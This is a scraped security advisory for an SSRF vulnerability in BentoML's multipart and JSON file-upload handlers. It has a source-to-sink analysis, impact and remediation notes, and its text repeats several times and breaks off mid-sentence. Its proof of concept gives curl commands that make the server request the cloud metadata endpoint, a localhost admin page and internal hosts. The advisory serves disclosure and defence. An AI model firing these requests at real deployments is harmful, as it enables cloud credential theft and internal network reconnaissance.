CVE-2025-54381

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation):

1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request
3. form = await request.form() parses multipart data using Starlette
4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209
5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL
6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):

1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields
2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request
3. body = await request.body() extracts request body
4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164
5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)
6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact

• Access AWS/GCP/Azure cloud metadata services for credential theft
• Enumerate and interact with internal HTTP services and APIs
• Bypass firewall restrictions to reach internal network resources
• Perform network reconnaissance from the server's perspective
• Retrieve sensitive information disclosed in HTTP response data
• Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The…

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation):

1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request
3. form = await request.form() parses multipart data using Starlette
4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209
5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL
6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):

1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields
2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request
3. body = await request.body() extracts request body
4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164
5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)
6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact

• Access AWS/GCP/Azure cloud metadata services for credential theft
• Enumerate and interact with internal HTTP services and APIs
• Bypass firewall restrictions to reach internal network resources
• Perform network reconnaissance from the server's perspective
• Retrieve sensitive information disclosed in HTTP response data
• Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The…

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation):

1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request
3. form = await request.form() parses multipart data using Starlette
4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209
5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL
6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):

1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields
2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request
3. body = await request.body() extracts request body
4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164
5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)
6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
 import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'
 
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact

• Access AWS/GCP/Azure cloud metadata services for credential theft
• Enumerate and interact with internal HTTP services and APIs
• Bypass firewall restrictions to reach internal network resources
• Perform network reconnaissance from the server's perspective
• Retrieve sensitive information disclosed in HTTP response data
• Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The…